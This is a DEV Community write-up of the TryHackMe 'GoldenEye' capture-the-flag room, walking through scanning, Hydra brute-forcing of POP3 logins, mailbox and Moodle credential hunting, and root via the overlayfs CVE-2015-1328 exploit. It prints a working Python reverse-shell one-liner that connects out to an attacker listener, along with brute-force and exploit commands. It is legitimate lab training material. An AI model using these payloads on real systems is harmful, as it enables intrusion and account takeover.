DEV Community

0xAp0ll0
0xAp0ll0

Posted on

GoldenEye-TryHackMe Writeup

#linux #tryhackme #ctf #hacker

Target: GoldenEye
OS: Linux
Difficulty: Medium

Image

Overview

GoldenEye is a TryHackMe room built around credential reuse, mailbox enumeration, Moodle abuse, and a local privilege escalation. The path to root is fairly linear once the early email clues are collected, so the main challenge is keeping track of usernames, passwords, and the next service to inspect.

Reconnaissance

Start by confirming the target is up and scanning all ports:

nmap -sCV -p- <IP> -oN nmap
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
55007/tcp open  pop3     Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
Enter fullscreen mode Exit fullscreen mode

The scan shows four open services:

  • 25/tcp - SMTP
  • 80/tcp - HTTP
  • 55006/tcp - SSL POP3
  • 55007/tcp - POP3

The web server on port 80 serves a terminal style page. The first useful clue is in the page source, which references a script named terminal.js. That script contains Boris's default password in an encoded form.

Image

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//
Enter fullscreen mode Exit fullscreen mode

after using cyberchef's magic wand we get our first credential
we use those credentials to log in to the webpage in /sev-home/

Image

With those credentials, log in to the web portal and review the page content carefully. It points to the mail service on 55007 and suggests that the same credentials may or may not work elsewhere.

Mail Enumeration

The POP3 service is reachable with telnet:


telnet <IP> 55007
Enter fullscreen mode Exit fullscreen mode

Boris's first password does not work on POP3, so the next step is a password attack. The room strongly hints at Hydra, and that works cleanly against the POP3 login.

For Boris:


hydra -l Boris -P /usr/share/wordlists/fasttrack.txt  <IP> -s 55007 pop3
Enter fullscreen mode Exit fullscreen mode

This returns:

  • Boris password: secret1!

meme

──(kali㉿kali)-[~/TryHackme/goldeney]
└─$ telnet <IP> 55007                                                            
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.
LIST
+OK 3 messages:
1 544
2 373
3 921
.
RETR 1  
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.
RETR 2  
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
.
RETR 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.
Enter fullscreen mode Exit fullscreen mode

Once logged in via POP3, use LIST and RETR to read all messages. Boris's mailbox reveals:

  • Natalya is the user who can break Boris's codes.
  • Another username: Xenia

For Natalya:


hydra -l Natalya -P /usr/share/wordlists/fasttrack.txt  <IP> -s 55007 pop3
Enter fullscreen mode Exit fullscreen mode

This returns:

  • Natalya password: bird 
┌──(kali㉿kali)-[~/TryHackme/goldeney]
└─$ telnet <IP> 55007                                                           
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird
+OK Logged in.
list
+OK 2 messages:
1 631
2 1048
.
rtrv 1
-ERR Unknown command: RTRV
retr 1
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
Enter fullscreen mode Exit fullscreen mode

Natalya's emails reveal two important pieces of data:

  • Xenia's credentials: xenia / RCP90rulez!
  • The internal training site: severnaya-station.com/gnocertdir

treasure

Training Site Access

The internal site only resolves after adding the target host to /etc/hosts:


<machine_ip> severnaya-station.com
Enter fullscreen mode Exit fullscreen mode

Then browse to:


http://severnaya-station.com/gnocertdir
Enter fullscreen mode Exit fullscreen mode

we get greeted with a moodle web page

Xenia's credentials work here:

  • Username: xenia
  • Password: RCP90rulez!

capture
That answers the room question about which user you can log in as. Once inside, Xenia's profile contains a message from Dr. Doak, which gives the next username to investigate.
Doak's mail password is also recoverable with Hydra:


hydra -l Doak -P /usr/share/wordlists/fasttrack.txt <IP> -s 55007 pop3
Enter fullscreen mode Exit fullscreen mode

This returns:

  • Doak password: goat Doak's mailbox contains credentials for the training site:
  • Username: dr_doak
  • Password: 4England!

Admin Discovery

Logging in as dr_doak exposes a hidden text file and an image file in the Moodle content. The text file points toward James's admin password, and the image contains the final secret in its metadata.

007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
Enter fullscreen mode Exit fullscreen mode


Pull the image and inspect it:


exiftool for-007.jpg
Enter fullscreen mode Exit fullscreen mode

The image description contains a base64 string. Decoding it reveals the admin password:

echo eFdpbnRlckE50TV4IQ== | base64 -d
Enter fullscreen mode Exit fullscreen mode

Result:

  • Username: admin
  • Password: xWinter1995x!

Imag
At this point you can log in as admin on the training portal.

Reverse Shell

The admin account can edit Moodle settings, and the intended route is to abuse the Aspell spell-check plugin to inject a reverse shell.
The shell payload can be based on a standard Python one-liner, adjusted to your listener IP and port:
rev

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
Enter fullscreen mode Exit fullscreen mode

After inserting the payload into the plugin and triggering it from the site with the spellchecker , i got the shell as the low-privilege web user.

Privilege Escalation

Check the kernel version from the shell:

uname -r
Enter fullscreen mode Exit fullscreen mode

The kernel is:

  • 3.13.0-32-generic This kernel is vulnerable to the overlayfs local privilege escalation CVE-2015-1328 The exploit strategy is to create user and mount namespaces, mount a filesystem overlay over /bin, make a setuid binary writable in the overlay, and then patch it from outside the namespace. the exploit Poc is available in exploit-db, the target machine does not have a gcc compiler you ll have to edit the exploit to use the cc compiler 
cd /tmp
cc exploit.c -o exploit
./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
Enter fullscreen mode Exit fullscreen mode

Running the exploit returns a root shell.

Im root

From there, read the flag:

cat /root/.flag.txt
Alec told me to place the codes here:
568628e****************da6e93
if you captured this make sure to go here.....
/006.final/xyf7-flag/
Enter fullscreen mode Exit fullscreen mode

Imag

Review :

GoldenEye provides a realistic, story-driven penetration testing environment inspired by classic OSINT and internal network pivoting concepts. Rather than relying on complex binary exploitation or obscure zero-days for initial foothold, the machine relies heavily on thorough information gathering, systematic credential tracking, and realistic administrative oversights.Overall i really enjoyed the storytelling side of the machine and had fun solving it

spidey

Top comments (0)